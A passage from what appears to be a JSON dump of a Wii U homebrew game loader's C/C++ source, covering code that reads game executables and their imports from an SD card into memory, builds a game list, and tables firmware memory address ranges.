gamePathStruct.os_game_path_base);\n    DEBUG_FUNCTION_LINE(\"gamePathStruct.os_save_path_base: %s\\n\", gamePathStruct.os_save_path_base);\n    DEBUG_FUNCTION_LINE(\"gamePathStruct.game_dir:          %s\\n\", gamePathStruct.game_dir);\n\tDEBUG_FUNCTION_LINE(\"gamePathStruct.update_folder:     %s\\n\", gamePathStruct.update_folder);\n    DEBUG_FUNCTION_LINE(\"gamePathStruct.save_dir_common:   %s\\n\", gamePathStruct.save_dir_common);\n    DEBUG_FUNCTION_LINE(\"gamePathStruct.save_dir_user:     %s\\n\", gamePathStruct.save_dir_user);\n    DEBUG_FUNCTION_LINE(\"gamePathStruct.extraSave:         %d\\n\", gamePathStruct.extraSave);\n\n\tif(!use_new_xml){\n        DEBUG_FUNCTION_LINE(\"Getting XML from game\\n\");\n\t\tLoadXmlParameters(&cosAppXmlInfoStruct, rpxName.c_str(), (header->gamepath + RPX_RPL_PATH).c_str());\n\t}else{\n        DEBUG_FUNCTION_LINE(\"Getting XML from update\\n\");\n\t\tLoadXmlParameters(&cosAppXmlInfoStruct, rpxName.c_str(), (completeUpdatePath + RPX_RPL_PATH).c_str());\n\t}\n\n    DCFlushRange((void*)&cosAppXmlInfoStruct, sizeof(ReducedCosAppXmlInfo));\n\n    DEBUG_FUNCTION_LINE(\"XML Launching Parameters\\n\");\n    DEBUG_FUNCTION_LINE(\"rpx_name:        %s\\n\", cosAppXmlInfoStruct.rpx_name);\n    DEBUG_FUNCTION_LINE(\"version_cos_xml: %i\\n\", cosAppXmlInfoStruct.version_cos_xml);\n    DEBUG_FUNCTION_LINE(\"os_version:      %08X%08X\\n\", (unsigned int)(cosAppXmlInfoStruct.os_version >> 32), (unsigned int)(cosAppXmlInfoStruct.os_version & 0xFFFFFFFF));\n    DEBUG_FUNCTION_LINE(\"title_id:        %08X%08X\\n\", (unsigned int)(cosAppXmlInfoStruct.title_id >> 32), (unsigned int)(cosAppXmlInfoStruct.title_id & 0xFFFFFFFF));\n    DEBUG_FUNCTION_LINE(\"app_type:        %08X\\n\", cosAppXmlInfoStruct.app_type);\n    DEBUG_FUNCTION_LINE(\"cmdFlags:        %08X\\n\", cosAppXmlInfoStruct.cmdFlags);\n    DEBUG_FUNCTION_LINE(\"max_size:        %08X\\n\", cosAppXmlInfoStruct.max_size);\n    DEBUG_FUNCTION_LINE(\"avail_size:      %08X\\n\", cosAppXmlInfoStruct.avail_size);\n    DEBUG_FUNCTION_LINE(\"codegen_size:    %08X\\n\", cosAppXmlInfoStruct.codegen_size);\n    DEBUG_FUNCTION_LINE(\"codegen_core:    %08X\\n\", cosAppXmlInfoStruct.codegen_core);\n    DEBUG_FUNCTION_LINE(\"max_codesize:    %08X\\n\", cosAppXmlInfoStruct.max_codesize);\n    DEBUG_FUNCTION_LINE(\"overlay_arena:   %08X\\n\", cosAppXmlInfoStruct.overlay_arena);\n    DEBUG_FUNCTION_LINE(\"sdk_version:     %i\\n\", cosAppXmlInfoStruct.sdk_version);\n    DEBUG_FUNCTION_LINE(\"title_version:   %08X\\n\", cosAppXmlInfoStruct.title_version);\n\n    return 0;\n}\n\nbool GameLauncher::createFileList(const std::string & filepath){\n    bool result = false;\n\n    std::string filelist_name = filepath + \"/\" +  std::string(FILELIST_NAME);\n    DEBUG_FUNCTION_LINE(\"Reading %s\\n\",filelist_name.c_str());\n    bool createNewFile = true;\n    CFile file(filelist_name, CFile::ReadOnly);\n    if (file.isOpen()){\n        if(file.size() != 0){\n            createNewFile = false;\n        }\n        file.close();\n    }\n    if(createNewFile){\n        DEBUG_FUNCTION_LINE(\"Filelist is missing, creating it!\\n\");\n\n        DEBUG_FUNCTION_LINE(\"Creating filelist of content in %s\\n\",filepath.c_str());\n        DEBUG_FUNCTION_LINE(\"Saving it to %s\\n\",filelist_name.c_str());\n        progressWindow.setProgress(100.0f);\n        FileReplacer replacer(filepath,CONTENT_PATH,\"\",progressWindow);\n        progressWindow.setTitle(\"\");\n        std::string strBuffer = replacer.getFileListAsString();\n        if(strBuffer.length() > 0){\n            CFile  filelist(filelist_name, CFile::WriteOnly);\n            if (filelist.isOpen()){\n                int ret = 0;\n                progressWindow.setTitle(\"Writing list to SD\");\n                if((ret = filelist.write((u8*)strBuffer.c_str(), strBuffer.size())) == -1){\n                    DEBUG_FUNCTION_LINE(\"Error on write: %d\\n\",ret);\n                }\n                filelist.close();\n            }else{\n                DEBUG_FUNCTION_LINE(\"Error. Couldn't open file\\n\");\n            }\n        }\n\n    }\n    return result;\n}\n\nint GameLauncher::LoadRpxRplToMem(const std::string & path, const std::string & name, bool isRPX, int entryIndex, std::vector<std::string> & rplImportList)\n{\n    // For RPLs :\n    int preload = 0;\n    if(!isRPX)\n    {\n        u32 i;\n        for(i = 0; i < rplImportList.size(); i++)\n        {\n            if(strncasecmp(name.c_str(), rplImportList[i].c_str(), name.size() - 4) == 0)\n            {\n                // file is in the fimports section and therefore needs to be preloaded\n                preload = 1;\n                break;\n            }\n        }\n        // if we dont need to preload, just add it to the array\n        if(!preload)\n        {\n            // fill rpl entry\n            rpxRplTableAddEntry(name.c_str(), 0, 0, isRPX, entryIndex, memoryGetAreaTable());\n            return 1;\n        }\n        DEBUG_FUNCTION_LINE(\"Pre-loading RPL %s because its in the fimport section\\n\", name.c_str());\n    }\n\n    CFile file(path, CFile::ReadOnly);\n    if(!file.isOpen())\n        return FILE_OPEN_FAILURE;\n\n    u32 fileSize = file.size();\n\n    // this is the initial area\n    s_mem_area* mem_area    = memoryGetAreaTable();\n    u32 mem_area_addr_start = mem_area->address;\n    u32 mem_area_addr_end   = mem_area->address + mem_area->size;\n    u32 mem_area_offset     = 0;\n\n    // on RPLs we need to find the free area we can store data to (at least RPX was already loaded by this point)\n    if(!isRPX)\n        mem_area = rpxRplTableGetNextFreeMemArea(&mem_area_addr_start, &mem_area_addr_end, &mem_area_offset);\n\n    if(!mem_area)\n    {\n        DEBUG_FUNCTION_LINE(\"Not enough memory for file %s\\n\", path.c_str());\n        return NOT_ENOUGH_MEMORY;\n    }\n\n    // malloc mem for read file\n    std::string strBuffer;\n    strBuffer.resize(0x10000);\n    unsigned char *pBuffer = (unsigned char*)&strBuffer[0];\n    unsigned char *pBufferPhysical = (unsigned char*)OSEffectiveToPhysical(&strBuffer[0]);\n\n    // fill rpx entry\n    u32 bytesRead = 0;\n    s_rpx_rpl* rpx_rpl_struct = rpxRplTableAddEntry(name.c_str(), mem_area_offset, 0, isRPX, entryIndex, mem_area);\n    if(!rpx_rpl_struct)\n    {\n        DEBUG_FUNCTION_LINE(\"Not enough memory for file %s\\n\", path.c_str());\n        return NOT_ENOUGH_MEMORY;\n    }\n\n    progressWindow.setTitle(strfmt(\"Loading file %s\", name.c_str()));\n\n    // Copy rpl in memory\n    while(bytesRead < fileSize)\n    {\n        progressWindow.setProgress(100.0f * (f32)bytesRead / (f32)fileSize);\n\n        u32 blockSize = strBuffer.size();\n        if(blockSize > (fileSize - bytesRead))\n            blockSize = fileSize - bytesRead;\n\n        int ret = file.read(pBuffer, blockSize);\n        if(ret <= 0)\n        {\n            DEBUG_FUNCTION_LINE(\"Failure on reading file %s\\n\", path.c_str());\n            break;\n        }\n\n\t\tDCFlushRange(pBuffer, ret);\n\n        int copiedData = rpxRplCopyDataToMem(rpx_rpl_struct, bytesRead, pBufferPhysical, ret);\n        if(copiedData != ret)\n        {\n            DEBUG_FUNCTION_LINE(\"Not enough memory for file %s. Could not copy all data %i != %i.\\n\", rpx_rpl_struct->name, copiedData, ret);\n            return NOT_ENOUGH_MEMORY;\n        }\n        rpx_rpl_struct->size += ret;\n        bytesRead += ret;\n    }\n\n    progressWindow.setProgress((f32)bytesRead / (f32)fileSize);\n\n    if(bytesRead != fileSize)\n    {\n        DEBUG_FUNCTION_LINE(\"File loading not finished for file %s, finished %i of %i bytes\\n\", path.c_str(), bytesRead, fileSize);\n        return FILE_READ_ERROR;\n    }\n\n    // remember which RPX has to be checked for on loader for allowing the list compare\n    if(isRPX) {\n        RPX_CHECK_NAME = *(unsigned int*)name.c_str();\n    }\n\n    // return okay\n    return 0;\n}\n\nvoid GameLauncher::GetRpxImportsRecursive(CFile file, std::vector<std::string> & rplImports, std::map<std::string, std::string> & rplNameList)\n{\n    std::string strBuffer;\n    strBuffer.resize(0x1000);\n\n    if(!file.isOpen()){\n         DEBUG_FUNCTION_LINE(\"GetRpxImportsRecursive error: file not open\\n\");\n         return;\n    }\n\n    // get the header information of the RPX\n    if(file.read((unsigned char *)&strBuffer[0], 0x1000) == -1){\n        DEBUG_FUNCTION_LINE(\"GetRpxImportsRecursive error: reading file\\n\");\n        return;\n    }\n    // Who needs error checks...\n    // Get section number\n    int shstrndx = *(unsigned short*)(&strBuffer[RPX_SH_STRNDX_OFFSET]);\n    // Get section offset\n    int section_offset = *(unsigned int*)(&strBuffer[RPX_SHT_START + (shstrndx * RPX_SHT_ENTRY_SIZE) + RPX_SHDR_OFFSET_OFFSET]);\n    // Get section size\n    int section_size = *(unsigned int*)(&strBuffer[RPX_SHT_START + (shstrndx * RPX_SHT_ENTRY_SIZE) + RPX_SHDR_SIZE_OFFSET]);\n    // Get section flags\n    int section_flags = *(unsigned int*)(&strBuffer[RPX_SHT_START + (shstrndx * RPX_SHT_ENTRY_SIZE) + RPX_SHDR_FLAGS_OFFSET]);\n\n    // Align read to 64 for SD access (section offset already aligned to 64 @ elf/rpx?!)\n    int section_offset_aligned = (section_offset / 64) * 64;\n    int section_alignment = section_offset - section_offset_aligned;\n    int section_size_aligned = ((section_alignment + section_size) / 64) * 64 + 64;\n\n    std::string section_data;\n    section_data.resize(section_size_aligned);\n\n    int res = 0;\n    // get the header information of the RPX\n    if((res = file.seek(section_offset_aligned,SEEK_SET)) != section_offset_aligned){\n        DEBUG_FUNCTION_LINE(\"GetRpxImportsRecursive error: file.seek failed! Result: %d, %d\\n\",res);\n        return;\n    }\n\n    if((res = file.read((unsigned char *)&section_data[0], section_size_aligned)) == -1){\n        DEBUG_FUNCTION_LINE(\"GetRpxImportsRecursive error: file read failed! Result: %d\\n\",res);\n        return;\n    }\n\n    //Check if inflate is needed (ZLIB flag)\n    if (section_flags & RPX_SHDR_ZLIB_FLAG)\n    {\n        // Section is compressed, inflate\n        int section_size_inflated = *(unsigned int*)(&section_data[section_alignment]);\n        std::string inflatedData;\n        inflatedData.resize(section_size_inflated);\n\n        u32 zlib_handle;\n        OSDynLoad_Acquire(\"zlib125\", &zlib_handle);\n\n        /* Zlib functions */\n        int(*ZinflateInit_)(z_streamp strm, const char *version, int stream_size);\n        int(*Zinflate)(z_streamp strm, int flush);\n        int(*ZinflateEnd)(z_streamp strm);\n\n        OSDynLoad_FindExport(zlib_handle, 0, \"inflateInit_\", &ZinflateInit_);\n        OSDynLoad_FindExport(zlib_handle, 0, \"inflate\", &Zinflate);\n        OSDynLoad_FindExport(zlib_handle, 0, \"inflateEnd\", &ZinflateEnd);\n\n        int ret = 0;\n        z_stream s;\n        memset(&s, 0, sizeof(s));\n\n        s.zalloc = Z_NULL;\n        s.zfree = Z_NULL;\n        s.opaque = Z_NULL;\n\n        ret = ZinflateInit_(&s, ZLIB_VERSION, sizeof(s));\n        if (ret != Z_OK)\n            return;\n\n        s.avail_in = section_size - 0x04;\n        s.next_in = (Bytef *)(&section_data[0] + section_alignment + 0x04);\n\n        s.avail_out = section_size_inflated;\n        s.next_out = (Bytef *)&inflatedData[0];\n\n        ret = Zinflate(&s, Z_FINISH);\n        if (ret != Z_OK && ret != Z_STREAM_END)\n            return;\n\n        ZinflateEnd(&s);\n        section_data.swap(inflatedData);\n    }\n\n    // Parse imports\n    std::map<std::string, std::string>::iterator itr;\n    size_t offset = 0;\n    std::string name_lower;\n    std::string import_lower;\n    do\n    {\n        if (strncmp(&section_data[offset+1], \".fimport_\", 9) == 0)\n        {\n            std::string import = std::string(&section_data[offset+1+9]);\n            // Add file suffix for easier handling\n            if (import.find(\".rpl\") == std::string::npos)\n            {\n                import += \".rpl\";\n            }\n\n            if(std::find(rplImports.begin(), rplImports.end(), import)==rplImports.end()){ //new\n                rplImports.push_back(import);\n\n                bool found = false;\n\n                for(itr = rplNameList.begin(); itr != rplNameList.end(); itr++) {\n                    std::vector<std::string> name_vec = stringSplit(itr->second,\"/\");\n                    if(name_vec.size() < 1) break;\n                    name_lower  = name_vec.at(name_vec.size()-1);\n                    import_lower  = import;\n                    std::transform(name_lower.begin(), name_lower.end(), name_lower.begin(), ::tolower);\n                    std::transform(import_lower.begin(), import_lower.end(), import_lower.begin(), ::tolower);\n                    //DEBUG_FUNCTION_LINE(\"%s = %s\\n\",name_lower.c_str(),import_lower.c_str());\n                    if(name_lower.compare(import_lower) == 0){\n                        found = true;\n\n                        break;\n                    }\n                }\n\n                if(found){\n                    CFile newFile(itr->second,CFile::ReadOnly);\n                    if(newFile.isOpen()){\n                        GetRpxImportsRecursive(newFile,rplImports,rplNameList);\n                        newFile.close();\n                    }else{\n                        DEBUG_FUNCTION_LINE(\"GetRpxImportsRecursive error: Couldn't open RPL (RPL: %s from path: %s)\\n\",import.c_str(),itr->second.c_str());\n                    }\n                }\n            }\n        }\n        offset++;\n        while (section_data[offset] != 0) {\n            offset++;\n        }\n    } while(offset + 1 < section_data.size());\n}\n"
  },
  {
    "path": "src/game/GameLauncher.h",
    "content": "#ifndef GAME_LAUNCHER_H_\n#define GAME_LAUNCHER_H_\n\n#include <vector>\n#include <string>\n#include <gctypes.h>\n#include \"common/common.h\"\n#include \"menu/ProgressWindow.h\"\n#include \"rpx_rpl_table.h\"\n#include \"memory_area_table.h\"\n#include \"GameList.h\"\n#include \"system/CThread.h\"\n#include \"gui/sigslot.h\"\n#include \"fs/CFile.hpp\"\n\nclass GameLauncher : public GuiFrame, public CThread\n{\npublic:\n    enum eLoadResults\n    {\n        SUCCESS = 0,\n        INVALID_INPUT = -1,\n        RPX_NOT_FOUND = -2,\n        TOO_MANY_RPX_NOT_FOUND = -3,\n        FILE_OPEN_FAILURE = -4,\n        FILE_READ_ERROR = -5,\n        NOT_ENOUGH_MEMORY = -6,\n    };\n\n\n    static GameLauncher * loadGameToMemoryAsync(const discHeader *hdr);\n    sigslot::signal3<GameLauncher *, const discHeader *, int> asyncLoadFinished;\nprivate:\n\n    GameLauncher(const discHeader *hdr)\n        : GuiFrame(0, 0)\n        , CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff)\n        , discHdr(hdr)\n        , progressWindow(\"Loading game...\")\n\t{\n\t    append(&progressWindow);\n\n\t    width = progressWindow.getWidth();\n\t    height = progressWindow.getHeight();\n\t}\n    void executeThread();\n\n    int loadGameToMemory(const discHeader *hdr);\n\n    int LoadRpxRplToMem(const std::string & path, const std::string & name, bool isRPX, int entryIndex, std::vector<std::string> & rplImportList);\n    void GetRpxImportsRecursive(CFile file, std::vector<std::string> & rplImports, std::map<std::string, std::string> & rplNameList);\n\n    static void gameLoadCallback(CThread *thread, void *arg);\n    bool createFileList(const std::string  & filepath);\n    const discHeader *discHdr;\n    ProgressWindow progressWindow;\n};\n\n\n#endif\n"
  },
  {
    "path": "src/game/GameList.cpp",
    "content": "#include <algorithm>\n#include <string>\n#include <string.h>\n\n#include \"GameList.h\"\n#include \"common/common.h\"\n#include \"settings/CSettings.h\"\n#include \"fs/DirList.h\"\n#include \"utils/xml.h\"\n\nGameList *GameList::gameListInstance = NULL;\n\nvoid GameList::clear()\n{\n\tgameFilter.clear();\n\tfullGameList.clear();\n\tfilteredList.clear();\n\t//! Clear memory of the vector completely\n\tstd::vector<discHeader *>().swap(filteredList);\n\tstd::vector<discHeader>().swap(fullGameList);\n}\n\ndiscHeader * GameList::getDiscHeader(const std::string & gameID) const\n{\n\tfor (u32 i = 0; i < filteredList.size(); ++i)\n\t{\n\t\tif(gameID == filteredList[i]->id)\n\t\t\treturn filteredList[i];\n\t}\n\n\treturn NULL;\n}\n\nint GameList::readGameList()\n{\n\t// Clear list\n\tfullGameList.clear();\n\t//! Clear memory of the vector completely\n\tstd::vector<discHeader>().swap(fullGameList);\n\n\tint cnt = 0;\n\n\tstd::string gamePath = CSettings::getValueAsString(CSettings::GamePath);\n\n\tDirList dirList(gamePath, 0, DirList::Dirs);\n\tdirList.SortList();\n\n    for(int i = 0; i < dirList.GetFilecount(); i++)\n    {\n        const char *filename = dirList.GetFilename(i);\n        char id6[7];\n        int len = strlen(filename);\n\n        discHeader newHeader;\n\n        if (len <= 8 ||\n                ((filename[len - 8] != '[' && filename[len - 6] != '[') || filename[len - 1] != ']'))\n        {\n            if (GetId6FromMeta((gamePath + \"/\" + filename + META_PATH).c_str(), id6) == 0)\n            {\n                newHeader.id = id6;\n                newHeader.name = filename;\n                newHeader.gamepath = gamePath + \"/\" + filename;\n\n                fullGameList.push_back(newHeader);\n            }\n            continue;\n        }\n\n        bool id4Title = (filename[len - 8] != '[');\n\n        std::string gamePathName = filename;\n        if(id4Title)\n        {\n            newHeader.id = gamePathName.substr(gamePathName.size() - 5, 4);\n            newHeader.name = gamePathName.substr(0, gamePathName.size() - 6);\n        }\n        else\n        {\n            newHeader.id = gamePathName.substr(gamePathName.size() - 7, 6);\n            newHeader.name = gamePathName.substr(0, gamePathName.size() - 8);\n        }\n        newHeader.gamepath = gamePath + \"/\" + filename;\n\n        while(newHeader.name.size() > 0 && newHeader.name[newHeader.name.size()-1] == ' ')\n            newHeader.name.resize(newHeader.name.size()-1);\n\n        fullGameList.push_back(newHeader);\n    }\n\n\treturn cnt;\n}\n\nvoid GameList::internalFilterList(std::vector<discHeader> &fullList)\n{\n\tfor (u32 i = 0; i < fullList.size(); ++i)\n\t{\n\t\tdiscHeader *header = &fullList[i];\n\n\t\t//! TODO: do filtering as needed\n\n\t\tfilteredList.push_back(header);\n\t}\n}\n\nint GameList::filterList(const char * filter)\n{\n    if(filter)\n        gameFilter = filter;\n\n\tif(fullGameList.size() == 0)\n\t\treadGameList();\n\n\tfilteredList.clear();\n\n\t// Filter current game list if selected\n    internalFilterList(fullGameList);\n\n\tsortList();\n\n\treturn filteredList.size();\n}\n\nvoid GameList::internalLoadUnfiltered(std::vector<discHeader> & fullList)\n{\n\tfor (u32 i = 0; i < fullList.size(); ++i)\n\t{\n\t\tdiscHeader *header = &fullList[i];\n\n\t\tfilteredList.push_back(header);\n\t}\n}\n\nint GameList::loadUnfiltered()\n{\n\tif(fullGameList.size() == 0)\n\t\treadGameList();\n\n\tgameFilter.clear();\n\tfilteredList.clear();\n\n\t// Filter current game list if selected\n\tinternalLoadUnfiltered(fullGameList);\n\n\tsortList();\n\n\treturn filteredList.size();\n}\n\nvoid GameList::sortList()\n{\n    std::sort(filteredList.begin(), filteredList.end(), nameSortCallback);\n}\n\nbool GameList::nameSortCallback(const discHeader *a, const discHeader *b)\n{\n\treturn (strcasecmp(((discHeader *) a)->name.c_str(), ((discHeader *) b)->name.c_str()) < 0);\n}\n\n"
  },
  {
    "path": "src/game/GameList.h",
    "content": "#ifndef GAME_LIST_H_\n#define GAME_LIST_H_\n\n#include <vector>\n#include <gctypes.h>\n\ntypedef struct _discHeader\n{\n    std::string id;\n    std::string name;\n    std::string gamepath;\n} discHeader;\n\nclass GameList\n{\n\tpublic:\n\t    static GameList *instance() {\n            if(!gameListInstance) {\n                gameListInstance = new GameList;\n            }\n            return gameListInstance;\n\t    }\n\t    static void destroyInstance() {\n\t        if(gameListInstance) {\n                delete gameListInstance;\n                gameListInstance = NULL;\n\t        }\n\t    }\n\n\t\tint size() const { return filteredList.size(); }\n\t\tint gameCount() const { return fullGameList.size(); }\n\t\tint filterList(const char * gameFilter = NULL);\n\t\tint loadUnfiltered();\n\n\t\tdiscHeader * at(int i) const { return operator[](i); }\n\t\tdiscHeader * operator[](int i) const { if (i < 0 || i >= (int) filteredList.size()) return NULL; return filteredList[i]; }\n\t\tdiscHeader * getDiscHeader(const std::string & gameID) const;\n\n\t\tconst char * getCurrentFilter() const { return gameFilter.c_str(); }\n\t\tvoid sortList();\n\t\tvoid clear();\n\t\tbool operator!() const { return (fullGameList.size() == 0); }\n\n\t\t//! Gamelist scrolling operators\n\t\tint operator+=(int i) { return (selectedGame = (selectedGame+i) % filteredList.size()); }\n\t\tint operator-=(int i) { return (selectedGame = (selectedGame-i+filteredList.size()) % filteredList.size()); }\n\t\tint operator++() { return (selectedGame = (selectedGame+1) % filteredList.size()); }\n\t\tint operator--() { return (selectedGame = (selectedGame-1+filteredList.size()) % filteredList.size()); }\n\t\tint operator++(int i) { return operator++(); }\n\t\tint operator--(int i) { return operator--(); }\n\t\tdiscHeader * GetCurrentSelected() const { return operator[](selectedGame); }\n\n\t\tstd::vector<discHeader *> & getfilteredList(void) { return filteredList; }\n\t\tstd::vector<discHeader> & getFullGameList(void) { return fullGameList; }\n\tprotected:\n\t\tGameList() : selectedGame(0) { };\n\n\t\tint readGameList();\n\n\t\tvoid internalFilterList(std::vector<discHeader> & fullList);\n\t\tvoid internalLoadUnfiltered(std::vector<discHeader> & fullList);\n\n\t\tstatic bool nameSortCallback(const discHeader *a, const discHeader *b);\n\n        static GameList *gameListInstance;\n\n\t\tstd::string gameFilter;\n\t\tint selectedGame;\n\t\tstd::vector<discHeader *> filteredList;\n\t\tstd::vector<discHeader> fullGameList;\n};\n\n#endif\n"
  },
  {
    "path": "src/game/memory_area_table.c",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <malloc.h>\n#include <string.h>\n#include <gctypes.h>\n#include \"common/common.h\"\n#include \"memory_area_table.h\"\n\ntypedef struct _memory_values_t\n{\n    unsigned int start_address;\n    unsigned int end_address;\n} memory_values_t;\n\nstatic const memory_values_t mem_vals_400[] =\n{\n    { 0x2E573BFC, 0x2FF8F83C }, // 26735 kB\n    { 0x2D86D318, 0x2DFFFFFC }, // 7755 kB\n    { 0x2CE59830, 0x2D3794D8 }, // 5247 kB\n    { 0x2D3795AC, 0x2D854300 }, // 4971 kB\n    { 0x28FEC800, 0x293B29D0 }, // 3864 kB\n    { 0x29BC200C, 0x29D79B94 }, // 1758 kB\n    { 0x2A517A68, 0x2A6794B8 }, // 1414 kB\n    { 0x288C1D80, 0x28A69FA0 }, // 1696 kB\n\n    { 0, 0 }\n};\n\nstatic const memory_values_t mem_vals_410[] =\n{\n//        { 0x28041760, 0x28049D0C } // 33 kB\n//        { 0x280608F4, 0x2806C97C } // 48 kB\n//        { 0x280953C8, 0x280A1324 } // 47 kB\n//        { 0x280A1358, 0x280AD388 } // 48 kB\n//        { 0x280C9040, 0x280D0ABC } // 30 kB\n//        { 0x280D0AD8, 0x28113FBC } // 269 kB\n//        { 0x2812575C, 0x2817A53C } // 339 kB\n//        { 0x2817A6A0, 0x281BA53C } // 255 kB\n//        { 0x281D571C, 0x2820253C } // 179 kB\n//        { 0x28234D00, 0x2824B33C } // 89 kB\n//        { 0x2824E300, 0x2828D7BC } // 253 kB\n//        { 0x282A8DF0, 0x282B63FC } // 53 kB\n//        { 0x282BC524, 0x282C62FC } // 39 kB\n//        { 0x2835A988, 0x28366804 } // 47 kB\n//        { 0x2836E05C, 0x28378DBC } // 43 kB\n//        { 0x283A735C, 0x284D2A64 } // 1197 kB (1 MB)\n//        { 0x284D76B0, 0x285021FC } // 170 kB\n//        { 0x285766A4, 0x28583E4C } // 53 kB\n//        { 0x28590E5C, 0x2859B248 } // 40 kB\n//        { 0x2859B288, 0x285AE06C } // 75 kB\n//        { 0x285B7108, 0x285C0A7C } // 38 kB\n//        { 0x285C38A0, 0x285D089C } // 52 kB\n//        { 0x285D0A84, 0x285DC63C } // 46 kB\n//        { 0x285E0A84, 0x285F089C } // 63 kB\n//        { 0x285F7FD0, 0x286037D8 } // 46 kB\n//        { 0x2860E3E4, 0x28621B00 } // 77 kB\n//        { 0x286287B0, 0x28638BC0 } // 65 kB\n//        { 0x2863F4A0, 0x2864DE00 } // 58 kB\n//        { 0x2864F1FC, 0x28656EE0 } // 31 kB\n//        { 0x2865AF44, 0x286635A0 } // 33 kB\n//        { 0x2866F774, 0x2867C680 } // 51 kB\n//        { 0x2867FAC0, 0x286A2CA0 } // 140 kB\n//        { 0x286B3540, 0x286C1900 } // 56 kB\n//        { 0x286C64A4, 0x286DDB80 } // 93 kB\n//        { 0x286E640C, 0x286F1DC0 } // 46 kB\n//        { 0x286F3884, 0x2870D3C0 } // 102 kB\n//        { 0x28710824, 0x28719D80 } // 37 kB\n//        { 0x2872A674, 0x2873B180 } // 66 kB\n//        { 0x287402F0, 0x28758780 } // 97 kB\n//        { 0x287652F0, 0x28771C00 } // 50 kB\n//        { 0x287F878C, 0x2880A680 } // 71 kB\n//        { 0x2880F4AC, 0x2881E6E0 } // 60 kB\n//        { 0x28821488, 0x28829A40 } // 33 kB\n//        { 0x2882A5D0, 0x288385BC } // 55 kB\n//        { 0x288385D8, 0x28854780 } // 112 kB\n//        { 0x28857984, 0x28864F80 } // 53 kB\n//        { 0x28870AC0, 0x2887CAC0 } // 48 kB\n//        { 0x2887CAC8, 0x28888CC8 } // 48 kB\n//        { 0x28888CD0, 0x28894ED0 } // 48 kB\n//        { 0x28894ED8, 0x288BE0DC } // 164 kB\n//        { 0x288C1C70, 0x28AD9ED4 } // 2144 kB (2 MB)\n//        { 0x28AD9F04, 0x28B66100 } // 560 kB\n//        { 0x28B748A8, 0x28B952E0 } // 130 kB\n//        { 0x28B9AB58, 0x28BA2480 } // 30 kB\n//        { 0x28BA3D00, 0x28BC21C0 } // 121 kB\n//        { 0x28BC2F08, 0x28BD9860 } // 90 kB\n//        { 0x28BED09C, 0x28BFDD00 } // 67 kB\n//        { 0x28C068F0, 0x28C2E220 } // 158 kB\n//        { 0x28CC4C6C, 0x28CF6834 } // 198 kB\n//        { 0x28D3DD64, 0x28D4BF8C } // 56 kB\n//        { 0x28D83C4C, 0x28DD0284 } // 305 kB\n//        { 0x28DDDED4, 0x28E84294 } // 664 kB\n//        { 0x28E99C7C, 0x28F382A4 } // 633 kB\n//        { 0x28F45EF4, 0x28FEC2B4 } // 664 kB\n//        { 0x28FEC800, 0x293B2A18 } // 3864 kB (3 MB)\n//        { 0x293E187C, 0x293EC7FC } // 43 kB\n//        { 0x295C7240, 0x295D523C } // 56 kB\n//        { 0x295DA8DC, 0x295E323C } // 34 kB\n//        { 0x295ED6C0, 0x295F6FDC } // 38 kB\n//        { 0x29606340, 0x2960FC5C } // 38 kB\n//        { 0x2964F040, 0x29657C3C } // 35 kB\n//        { 0x296E0EBC, 0x296EBDBC } // 43 kB\n//        { 0x2998DFB4, 0x2999DEE4 } // 63 kB\n//        { 0x2999E6A8, 0x299BE9C4 } // 128 kB\n//        { 0x29B8DF40, 0x29BA09DC } // 74 kB\n//        { 0x29BC200C, 0x29D79B94 } // 1758 kB (1 MB)\n//        { 0x29DA9694, 0x29DB1694 } // 32 kB\n//        { 0x2A3D7558, 0x2A427558 } // 320 kB\n//        { 0x2A42769C, 0x2A47769C } // 320 kB\n//        { 0x2A4777E0, 0x2A4C77E0 } // 320 kB\n//        { 0x2A4C7924, 0x2A517924 } // 320 kB\n//        { 0x2A517A68, 0x2A6794B8 } // 1414 kB (1 MB)\n//        { 0x2AD17528, 0x2AD4EA24 } // 221 kB\n//        { 0x2B038C4C, 0x2B1794C8 } // 1282 kB (1 MB)\n//        { 0x2BBA990C, 0x2BBB983C } // 63 kB\n//        { 0x2BBBA160, 0x2BC82164 } // 800 kB\n//        { 0x2BD0000C, 0x2BD71638 } // 453 kB\n//        { 0x2BD7170C, 0x2BD83B0C } // 73 kB\n//        { 0x2BDBA000, 0x2BDCA028 } // 64 kB\n//        { 0x2BDCE000, 0x2BDDE028 } // 64 kB\n//        { 0x2BDE2E34, 0x2BDF2D64 } // 63 kB\n//        { 0x2BDF35E8, 0x2BE031BC } // 62 kB\n//        { 0x2BE052A4, 0x2BE151D4 } // 63 kB\n//        { 0x2BE174AC, 0x2BE27244 } // 63 kB\n//        { 0x2BE3AC80, 0x2BE48C80 } // 56 kB\n//        { 0x2BE49EDC, 0x2BE56C7C } // 51 kB\n//        { 0x2BE82F70, 0x2BE92E9C } // 63 kB\n//        { 0x2BE9ADBC, 0x2BEA8DBC } // 56 kB\n//        { 0x2BEAAB7C, 0x2BEB6DBC } // 48 kB\n//        { 0x2BEC0F3C, 0x2BECEF3C } // 56 kB\n//        { 0x2BED45DC, 0x2BEDCF3C } // 34 kB\n//        { 0x2BEE73C0, 0x2BEF0CDC } // 38 kB\n//        { 0x2BF00040, 0x2BF0995C } // 38 kB\n//        { 0x2BF48D40, 0x2BF5193C } // 35 kB\n//        { 0x2BFDABBC, 0x2BFE5ABC } // 43 kB\n//        { 0x2C03DA40, 0x2C045D7C } // 32 kB\n//        { 0x2C179450, 0x2C18937C } // 63 kB\n//        { 0x2C1DC940, 0x2C1EA93C } // 56 kB\n//        { 0x2C1EABDC, 0x2C1F893C } // 55 kB\n//        { 0x2C239A80, 0x2C243D3C } // 40 kB\n//        { 0x2CE10224, 0x2CE3683C } // 153 kB\n//        { 0x2CE374F4, 0x2CE473A4 } // 63 kB\n//        { 0x2CE49830, 0x2D3794D8 } // 5311 kB (5 MB)\n//        { 0x2D3795AC, 0x2D854300 } // 4971 kB (4 MB)\n//        { 0x2D8546B0, 0x2D8602C4 } 